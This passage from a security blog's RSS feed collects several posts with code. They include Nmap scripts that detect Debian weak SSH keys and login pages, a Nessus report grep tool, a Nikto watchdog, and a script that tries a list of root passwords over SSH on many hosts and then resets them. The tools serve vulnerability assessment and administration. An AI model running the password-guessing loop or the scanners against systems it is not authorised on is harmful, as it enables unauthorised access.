<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/698/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/698/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/698/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=698&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/07/07/pydbg-reverseme-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Nmap script to detect Debian OpenSSL Random Number Generator Weakness</title>
		<link>http://webstersprodigy.net/2010/06/13/nmap-script-to-detect-debian-openssl-random-number-generator-weakness/</link>
		<comments>http://webstersprodigy.net/2010/06/13/nmap-script-to-detect-debian-openssl-random-number-generator-weakness/#comments</comments>
		<pubDate>Sun, 13 Jun 2010 18:39:26 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[lua]]></category>
		<category><![CDATA[nmae]]></category>
		<category><![CDATA[nse]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=685</guid>
		<description><![CDATA[This relies on HD&#8217;s keys, found http://digitaloffense.net/tools/debian-openssl/<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=685&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This relies on HD&#8217;s keys, found http://digitaloffense.net/tools/debian-openssl/</p>
<p><pre class="brush: python;">
description = [[
Debian OpenSSH/OpenSSL Package Random Number Generator Weakness
]]

---
-- @output
-- 22/ssh open  ssh
-- |_ ssh_debian_weak: The following keys are vulnerable: 2048 RSA 1024 RSA

-- SSH Weak Debian Key Script
-- rev 1.0 (2010-02-07)
-- rougly based on ssh_debian_weak.nasl by tennable
-- written by hand

author = &quot;Rich Lundeen &lt;mopey@webstersprodigy.net&gt;&quot;
license = &quot;Same as Nmap--See http://nmap.org/book/man-legal.html&quot;
categories = {&quot;websters&quot;, &quot;nessus&quot;, &quot;act_gather_info&quot;}

dependencies = {&quot;ssh-hostkey&quot;}

require(&quot;shortport&quot;)
require(&quot;ssh1&quot;)
require(&quot;ssh2&quot;)
require(&quot;nessus/nessus_conf&quot;)
portrule = shortport.port_or_service({22}, {&quot;ssh&quot;})

action = function(host, port)
  local keyval = nmap.registry.sshhostkey[host.ip]
  if keyval == nil then
    return
  end
  local output = &quot;&quot;
  for i,line in ipairs(keyval) do
    --TODO eventually binary search is nicer, but due to formats ready from HD
    --or if wanted later perhaps add the hex version to registry
    local linekey = string.gsub(ssh1.fingerprint_hex(line.fingerprint, 
                                line.algorithm, line.bits), &quot;:&quot;, &quot;&quot;)
    local crimp = pcre.new(&quot;^[^\s]+[\s]([^\s]+)[\s][^\s]+&quot;, 0, &quot;C&quot;)
    local s, e, t = crimp:exec(linekey, 0, 0)
    linekey = string.sub(linekey, t[1], t[2])
    local fstring = (nessus_conf.nessus_conf[&quot;basedir&quot;] .. 
                     &quot;nselib/nessus/data/debian_weak_ssl/&quot; .. 
                     line.algorithm:lower() .. &quot;_&quot; .. 
                     tostring(line.bits))
    local mfile = io.open(fstring, &quot;r&quot;)
    for vulnkey in mfile:lines() do
      --TODO this could be made more efficient
      if string.find(vulnkey, linekey, 0) then
        output = output .. line.algorithm .. &quot; &quot; .. tostring(line.bits)
      end
    end
    mfile:close()
  end
  if output ~= &quot;&quot; then
    return output
  end
end
</pre> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/685/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/685/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/685/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/685/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/685/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/685/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/685/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/685/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/685/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/685/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/685/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/685/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/685/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/685/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=685&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/06/13/nmap-script-to-detect-debian-openssl-random-number-generator-weakness/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>nmap script to try and detect login pages</title>
		<link>http://webstersprodigy.net/2010/04/07/nmap-script-to-try-and-detect-login-pages/</link>
		<comments>http://webstersprodigy.net/2010/04/07/nmap-script-to-try-and-detect-login-pages/#comments</comments>
		<pubDate>Wed, 07 Apr 2010 20:18:00 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[lua]]></category>
		<category><![CDATA[nmap]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=660</guid>
		<description><![CDATA[The title sort of explains it.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=660&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The title sort of explains it.</p>
<p><pre class="brush: python;">
description = [[
Attempts to check if a login page exists on the port.
]]

---
-- @output
-- 80/tcp open  http
-- |_ http-login-form: HTTP login detected

-- HTTP authentication information gathering script
-- rev 1.0 (2010-02-06)

author = &quot;Rich Lundeen &lt;mopey@webstersprodigy.net&gt;&quot;

license = &quot;Same as Nmap--See http://nmap.org/book/man-legal.html&quot;

categories = {&quot;ioactive&quot;}

require(&quot;shortport&quot;)
require(&quot;http&quot;)
require(&quot;pcre&quot;)

portrule = shortport.port_or_service({80, 443, 8080}, {&quot;http&quot;,&quot;https&quot;})

parse_url = function(url)
  local re = pcre.new(&quot;^([^:]*):[/]*([^/]*)&quot;, 0, &quot;C&quot;)
  local s, e, t = re:exec(url, 0, 0)
  local proto = string.sub(url, t[1], t[2])
  local host = string.sub(url, t[3], t[4])
  local path = string.sub(url, t[4] + 1)
  local port = string.find(host, &quot;:&quot;)
  if port ~= nil then
    --TODO check bounds, sanity, cast port to an int
    local thost = string.sub(host, 0, port-1)
    port = string.sub(host, port+1)
    host = thost
  else
    if proto == &quot;http&quot; then
      port = 80
    elseif proto == &quot;https&quot; then
      port = 443
    end
  end
  return host, port, path
end

--attempting to be compatible with nessus function in http.inc
--in this case, host is a url - it should use get_http_page
--get_http_page = function(port, host, redirect)
  

--port and url are objects passed to the action function
--redirect an integer to prohibit loops
get_http_page_nmap = function(port, host, redirect, path)
  if path == nil then
    path = &quot;/&quot;
  end
  if redirect == nil then
    redirect = 2
  end
  local answer = http.get(host, port, path)
  if ((answer.header.location ~= nil) and (redirect &gt; 0) and 
      (answer.status &gt;=300) and (answer.status &lt; 400)) then
    nhost, nport, npath = parse_url(answer.header.location)
    if (((nhost ~= host.targetname) and (nhost ~= host.ip) and 
        (nhost ~= host.name)) or nport ~= port.number ) then
      --cannot redirect more, different service
      return answer, path
    else
      return get_http_page_nmap(port, host, redirect-1, npath)
    end
  end
  return answer, path
end

action = function(host, port)
  local result, path = get_http_page_nmap(port, host, 3)
  --seems to be a bug in the matching
  local loginflags = pcre.flags().CASELESS + pcre.flags().MULTILINE
  local loginre = {
     pcre.new(&quot;&lt;script&gt;[^&gt;]*login&quot;    , loginflags, &quot;C&quot;),
     pcre.new(&quot;&lt;[^&gt;]*login&quot;           , loginflags, &quot;C&quot;),
     pcre.new(&quot;&lt;script&gt;[^&gt;]*password&quot; , loginflags, &quot;C&quot;),
     pcre.new(&quot;&lt;script&gt;[^&gt;]*user&quot;     , loginflags, &quot;C&quot;),
     pcre.new(&quot;&lt;input[^&gt;)]*user&quot;      , loginflags, &quot;C&quot;),
     pcre.new(&quot;&lt;input[^&gt;)]*pass&quot;      , loginflags, &quot;C&quot;),
     pcre.new(&quot;&lt;input[^&gt;)]*pwd&quot;       , loginflags, &quot;C&quot;) }

  local loginform = false
  for i,v in ipairs(loginre) do
    local ismatch, j = v:match(result.body, 0)
    if ismatch then
      loginform = true
      break
      end
  end
  if loginform then
    return &quot;Login Form Detected at &quot; .. path
  end
end
</pre> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/660/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/660/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/660/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/660/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/660/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/660/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/660/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/660/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/660/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/660/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/660/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/660/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/660/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/660/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=660&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/04/07/nmap-script-to-try-and-detect-login-pages/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Nessus Grep</title>
		<link>http://webstersprodigy.net/2010/02/07/updated-nessus-grep/</link>
		<comments>http://webstersprodigy.net/2010/02/07/updated-nessus-grep/#comments</comments>
		<pubDate>Sun, 07 Feb 2010 20:22:00 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[grep]]></category>
		<category><![CDATA[nessus]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=663</guid>
		<description><![CDATA[This program takes a regular expression for a problem and returns the
affected hosts. It iterates through all reports saved in a .nessus file
making no attempt at uniqueness, (eg if you scanned a host more than once) 
searching through titles, data, port, and IDs for matches.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=663&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The code is pretty self explanatory. It searches through a .nessus file and spits out matching hosts.</p>
<p><pre class="brush: python;">
#!/usr/bin/python

def usage():
  print &quot;&quot;&quot;
This program takes a regular expression for a problem and returns the
affected hosts. It iterates through all reports saved in a .nessus file
making no attempt at uniqueness, (eg if you scanned a host more than once) 
searching through titles, data, port, and IDs for matches.

It prints one host per line, relying on tools like wc, tr, sort, uniq

USAGE:
arg[0] [--dns]  myfile.nessus regex

For a regex reference, see http://docs.python.org/library/re.html

The --dns flag will print out the dns name in addition to what was given for 
the scan

EXAMPLES:

#search for hosts that ran the nikto plugin
python nessus_grep.py scan.nessus nikto

#case insensitive search for nikto
python nessus_grep.py scan.nessus &quot;(?i)nikto&quot;

#it's usually probably ok to just check for id, but be careful
#as an added precaution I give it the beginning end of lines
python nessus_grep.py scan.nessus &quot;^10386$&quot; 

#find all hosts with either the SSL Cipher &quot;bug&quot; or running SSL Version 2
python nessus_grep.py scan.nessus &quot;(SSL Weak Cipher Suites Supported|SSL 
Version 2 (v2) Protocol Detection)&quot;
&quot;&quot;&quot;

import sys
import re
from lxml import etree

def regexsearch(regex, *strings):
  for i in strings:
    try:
      if re.search(regex, i):
        return True
    except TypeError:
      pass

&quot;&quot;&quot;
Although there is some repeating logic in dotnessusparse
and dotxmlparse, they are two different formats and are
kept separate in case of changes to only one
&quot;&quot;&quot;
def dotnessusparse(nessus_xml, hostprint=False):
  for report in nessus_xml.getroot():
    if &quot;Report&quot; in repr(report.tag):
      for host in report:
        if &quot;ReportHost&quot; in host.tag:
          hostname = (host.find(&quot;HostName&quot;).text)
          dnsname = host.find(&quot;dns_name&quot;).text.rstrip(&quot;.\n&quot;)
          if (&quot;(unknown)&quot; in dnsname):
            dnsname = &quot;&quot;
          reptitem = (host.findall(&quot;ReportItem&quot;))
          for issue in reptitem:
            data = issue.find(&quot;data&quot;).text
            pluginname = issue.find(&quot;pluginName&quot;).text
            pluginid = issue.find(&quot;pluginID&quot;).text
            port = issue.find(&quot;port&quot;).text
            if regexsearch(regex, data, pluginname, pluginid, port):
              if hostprint:
                hostname = hostname + &quot; (&quot; + dnsname + &quot;)&quot;
              print hostname
              break

def dotxmlparse(nessus_xml, hostprint=False):
  for report in nessus_xml.getroot():
    if &quot;Report&quot; in repr(report.tag):
      for host in report:
        if &quot;ReportHost&quot; in host.tag:
          hostname = host.get(&quot;name&quot;)
          dnsname = &quot;&quot;
          hostprops = host.find(&quot;HostProperties&quot;).findall(&quot;tag&quot;)
          for prop in hostprops:
            if prop.get(&quot;name&quot;) == &quot;host-fqdn&quot;:
              dnsname = prop.text
          reptitem = (host.findall(&quot;ReportItem&quot;))
          for issue in reptitem:
            data = sol = syn = plugout = None
            if issue.find(&quot;description&quot;) is not None:
              data = issue.find(&quot;description&quot;).text
            if issue.find(&quot;solution&quot;) is not None:
              sol = issue.find(&quot;solution&quot;).text
            if issue.find(&quot;synopsis&quot;) is not None:
              syn = issue.find(&quot;synopsis&quot;).text
            if issue.find(&quot;plugin_output&quot;) is not None:
              plugout = issue.find(&quot;plugin_output&quot;).text
            pluginname = issue.get(&quot;pluginName&quot;)
            pluginId = issue.get(&quot;pluginID&quot;)
            if regexsearch(regex, sol, syn, plugout, pluginname, pluginId):
              if hostprint:
                hostname = hostname + &quot; (&quot; + dnsname + &quot;)&quot;
              print hostname
              break

if __name__ == &quot;__main__&quot;:
  re.IGNORECASE
  if len(sys.argv) &lt; 3:
    usage()
    sys.exit(0)
  filelist = sys.argv[1:-1]
  try:
    filelist.remove(&quot;--dns&quot;)
    hostprint = True
  except ValueError:
    hostprint = False
  regex = sys.argv[-1]
  for nessusfile in filelist:
    nessus_xml = etree.parse(nessusfile)
    if nessusfile.endswith(&quot;.nessus&quot;):
      dotnessusparse(nessus_xml, hostprint)          
    if nessusfile.endswith(&quot;.xml&quot;):
      dotxmlparse(nessus_xml, hostprint) 
</pre> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/663/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/663/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/663/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/663/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/663/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/663/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/663/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/663/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/663/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/663/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/663/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/663/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/663/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/663/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=663&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2010/02/07/updated-nessus-grep/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Nessus with Nikto &#8211; Running out of memory</title>
		<link>http://webstersprodigy.net/2009/12/30/nessus-with-nikto-running-out-of-memory/</link>
		<comments>http://webstersprodigy.net/2009/12/30/nessus-with-nikto-running-out-of-memory/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 22:38:51 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[GrayHat]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[nikto]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=645</guid>
		<description><![CDATA[Kind of an annoying problem, but sometimes nikto runs out of control. This is made worse by nessus, which can have a lot of nikto instances running at once.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=645&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Kind of an annoying problem, but sometimes nikto runs out of control. This is made worse by nessus, which can have a lot of nikto instances running at once.</p>
<blockquote><p>
Dec 29 13:03:10 mopey-macky kernel: [72355.838027] Free swap  = 0kB<br />
Dec 29 13:03:10 mopey-macky kernel: [72355.838031] Total swap = 5855684kB<br />
Dec 29 13:03:10 mopey-macky kernel: [72355.866431] 1048576 pages RAM<br />
Dec 29 13:03:10 mopey-macky kernel: [72355.866436] 38328 pages reserved<br />
Dec 29 13:03:10 mopey-macky kernel: [72355.866440] 9361 pages shared<br />
Dec 29 13:03:10 mopey-macky kernel: [72355.866444] 1000493 pages non-shared<br />
Dec 29 13:03:10 mopey-macky kernel: [72355.866451] Out of memory: kill process 6730 (run-mozilla.sh) score 665297 or a child<br />
Dec 29 13:03:10 mopey-macky kernel: [72355.866556] Killed process 6734 (thunderbird-bin)
</p></blockquote>
<p>Yes, that was fun, randomly killed processes because I&#8217;m out of memory. some instances of nikto were taking 2gb of memoy and spidering infinitely over these dynamic pages.</p>
<p>To fix, I added a stupid watchdog script.</p>
<p><pre class="brush: python;">
#!/usr/bin/python

import subprocess
import time

#percent of memory the nikto is taking
MAXMEMPERCENT = 13
#time is in hours
MAXTIME = 1
#time in seconds to check
SLEEPYTIME = 60
lfile=open(&quot;./nikto_wd.log&quot;, &quot;a&quot;)

while 1:
  p1 = subprocess.Popen([&quot;ps&quot;, &quot;aux&quot;], stdout=subprocess.PIPE)
  p2 = subprocess.Popen([&quot;grep&quot;, &quot;nikto&quot;], stdin=p1.stdout, stdout=subprocess.PIPE)
  output = p2.communicate()[0].split(&quot;n&quot;)

  for line in output:
    #print line
    thisline = line.split()
    try:
      if (&quot;/usr/bin/perl&quot; in thisline[10] and thisline[3] != &quot;&quot; and thisline[9] != &quot;&quot;):
        memusage =  float(thisline[3])
        hours = int(thisline[9][0])
        #process needs to be killed 
        if int(hours) &gt; MAXTIME or float(memusage) &gt; MAXMEMPERCENT:
          print &quot;die, zombie scum&quot;, thisline
          lfile.write(&quot;die, zombie scum &quot; + str(thisline) + &quot;n&quot;)
          subprocess.call([&quot;kill&quot;, thisline[1]])
    except IndexError:
      pass
  lfile.flush()
  time.sleep(SLEEPYTIME)

</pre></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/645/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/645/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/645/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/645/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/645/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/645/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/645/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/645/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/645/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/645/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/645/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/645/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/645/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/645/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=645&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://webstersprodigy.net/2009/12/30/nessus-with-nikto-running-out-of-memory/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/be2c27a28b3788a3b9a7a8fa243d2978?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webstersprodigy</media:title>
		</media:content>
	</item>
		<item>
		<title>Auto Pw Change</title>
		<link>http://webstersprodigy.net/2009/11/13/auto-pw-change/</link>
		<comments>http://webstersprodigy.net/2009/11/13/auto-pw-change/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 23:57:51 +0000</pubDate>
		<dc:creator>webstersprodigy</dc:creator>
				<category><![CDATA[Network]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://webstersprodigy.net/?p=631</guid>
		<description><![CDATA[I had to change this script a lot, so take with a grain of salt.  That said, we changed about 1000 LOCAL passwords in a couple hours - which would have really taken all day and been more boring.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=631&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I had to change this script a lot, so take with a grain of salt.  That said, we changed about 1000 LOCAL passwords in a couple hours &#8211; which would have really taken all day and been more boring.</p>
<p><pre class="brush: python;">
#!/usr/bin/python

import pexpect

#most likely should be first for speed
passlist = [&quot;pass1&quot;, &quot;pass2&quot;, &quot;pass3&quot;]
#most critical should be listed in file first for speed
user=&quot;root&quot;
newpass=&quot;newpass&quot;

#open hosts file
hostfile=open(&quot;hosts.txt&quot;, &quot;r&quot;)

for host in hostfile:
  host = host.strip()
  changeSuccesful = False
  #need to find the currpass to change it
  #so auth by key may not be ideal in this case
  p = pexpect.spawn(&quot;ssh &quot; + user + &quot;@&quot; + host + &quot; passwd&quot;
  
  #try block so it doesn't crash the program
  try:
    #different systmes vary with exact text
    conn_result = p.expect([&quot;assword:&quot;, pexpect.EOF, &quot;Are you sure you want to continue&quot;])
    if conn_result == 2:
      print &quot;accepting public key for &quot;, host
      p.sendline(&quot;yes&quot;)
      conn_result = p.expect([&quot;assword:&quot;, pexpect.EOF])
    if conn_result == 0:
      for password in passlist:
        print &quot;tryin password for &quot;, host
        p.sendline(password)
        pass_result = p.expect([&quot;denied&quot;, &quot;current.*assword:&quot;, &quot;new.*assword&quot;, pexpect.EOF])
        if pass_result == 1:
          p.sendline(password)
          p.expect(&quot;new.*assword:&quot;)
        #this should execute if a key OR password was accepted
        if pass_result == 1 or pass_result == 2:
          p.sendline(newpass)
          p.expect(&quot;new.*assword:&quot;)
          p.sendline(newpass)
          changeSuccesful = True
          print &quot;Succesful pwchange: host &quot;+ host 
          break
    if not changeSuccesful:
      print &quot;UnSuccesful pwchange: host &quot;+ host 
  except:
    print &quot;Uncaught exception: host &quot;+ host 


</pre> </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/webstersprodigy.wordpress.com/631/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/webstersprodigy.wordpress.com/631/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/webstersprodigy.wordpress.com/631/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/webstersprodigy.wordpress.com/631/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/webstersprodigy.wordpress.com/631/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/webstersprodigy.wordpress.com/631/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/webstersprodigy.wordpress.com/631/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/webstersprodigy.wordpress.com/631/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/webstersprodigy.wordpress.com/631/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/webstersprodigy.wordpress.com/631/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/webstersprodigy.wordpress.com/631/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/webstersprodigy.wordpress.com/631/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/webstersprodigy.wordpress.com/631/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/webstersprodigy.wordpress.com/631/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=webstersprodigy.net&#038;blog=35949064&#038;post=631&#038;subd=webstersprodigy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
